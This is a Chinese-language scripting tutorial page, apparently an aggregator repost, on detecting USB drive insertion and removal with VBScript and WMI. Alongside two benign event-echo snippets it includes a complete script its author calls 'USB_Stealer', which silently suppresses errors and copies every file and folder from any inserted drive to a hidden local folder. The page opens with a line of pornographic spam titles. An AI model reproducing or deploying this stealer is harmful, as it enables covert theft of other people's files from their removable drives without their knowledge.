午夜国产狂喷潮在线观看|国产AⅤ精品一区二区久久|中文字幕AV中文字幕|国产看片高清在线

    用VBS檢測U盤插入與彈出事件的代碼
    來源:易賢網(wǎng) 閱讀:1292 次 日期:2016-07-07 15:11:50
    溫馨提示:易賢網(wǎng)小編為您整理了“用VBS檢測U盤插入與彈出事件的代碼”,方便廣大網(wǎng)友查閱!

    可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環(huán)實現(xiàn)的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán),但是效率是不一樣的。

    使用WMI的Win32_VolumeChangeEvent類就可以實現(xiàn),下面是示例代碼,更詳細的信息請參考MSND文檔。

    代碼如下:

    Const Configuration_Changed = 1

    Const Device_Arrival = 2

    Const Device_Removal = 3

    Const Docking = 4

    strComputer = "."

    Set objWMIService = GetObject("winmgmts:" _

    & "{impersonationLevel=impersonate}!\\" _

    & strComputer & "\root\cimv2")

    Set colMonitoredEvents = objWMIService. _

    ExecNotificationQuery( _

    "Select * from Win32_VolumeChangeEvent")

    Do

    Set objLatestEvent = colMonitoredEvents.NextEvent

    Select Case objLatestEvent.EventType

    Case Device_Arrival

    WScript.Echo "U盤插入,盤符為" & _

    objLatestEvent.DriveName

    Case Device_Removal

    WScript.Echo "U盤彈出,盤符為" & _

    objLatestEvent.DriveName

    End Select

    Loop

    我也寫了一個U盤小偷程序,自以為比網(wǎng)上抄來抄去的代碼要好,感興趣的可以下載來看看。

    代碼如下:

    '==========================================

    'Name : USB_Stealer

    'Date : 2010/5/25

    'Author : Demon

    'Copyright : Copyright (c) 2010 Demon

    'E-Mail : still.demon@gmail.com

    'QQ : 380401911

    'Website : http://demon.tw

    '==========================================

    'Option Explicit

    On Error Resume Next

    Const Target_Folder = "C:\USB"

    Call Main()

    Sub Main()

    On Error Resume Next

    Const Device_Arrival = 2

    Const Device_Removal = 3

    Const strComputer = "."

    Dim objWMIService, colMonitoredEvents, objLatestEvent

    Set objWMIService = GetObject("winmgmts:" _

    & "{impersonationLevel=impersonate}!\\" _

    & strComputer & "\root\cimv2")

    Set colMonitoredEvents = objWMIService. _

    ExecNotificationQuery( _

    "Select * from Win32_VolumeChangeEvent")

    Do

    Set objLatestEvent = colMonitoredEvents.NextEvent

    Select Case objLatestEvent.EventType

    Case Device_Arrival

    Copy_File objLatestEvent.DriveName

    End Select

    Loop

    End Sub

    Sub Copy_File(Folder_Path)

    On Error Resume Next

    Dim fso,file,folder

    Set fso = CreateObject("scripting.filesystemobject")

    If Not fso.FolderExists(Target_Folder) Then

    fso.CreateFolder(Target_Folder)

    End If

    For Each file In fso.GetFolder(Folder_Path).Files

    file.Copy Target_Folder & "\" & file.Name,True

    Next

    For Each folder In fso.GetFolder(Folder_Path).SubFolders

    folder.Copy Target_Folder & "\" & folder.Name,True

    Next

    End Sub

    鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。

    代碼如下:

    strComputer = "."

    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

    Set colEvents = objWMIService.ExecNotificationQuery _

    ("Select * From __InstanceOperationEvent Within 10 Where " _

    & "TargetInstance isa 'Win32_LogicalDisk'")

    Do While True

    Set objEvent = colEvents.NextEvent

    If objEvent.TargetInstance.DriveType = 2 Then

    Select Case objEvent.Path_.Class

    Case "__InstanceCreationEvent"

    Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

    " has been added."

    Case "__InstanceDeletionEvent"

    Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

    " has been removed."

    End Select

    End If

    Loop

    更多信息請查看腳本欄目
    易賢網(wǎng)手機網(wǎng)站地址:用VBS檢測U盤插入與彈出事件的代碼

    2025國考·省考課程試聽報名

    • 報班類型
    • 姓名
    • 手機號
    • 驗證碼
    關于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
    工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
    聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關注公眾號:hfpxwx
    咨詢QQ:1093837350(9:00—18:00)版權所有:易賢網(wǎng)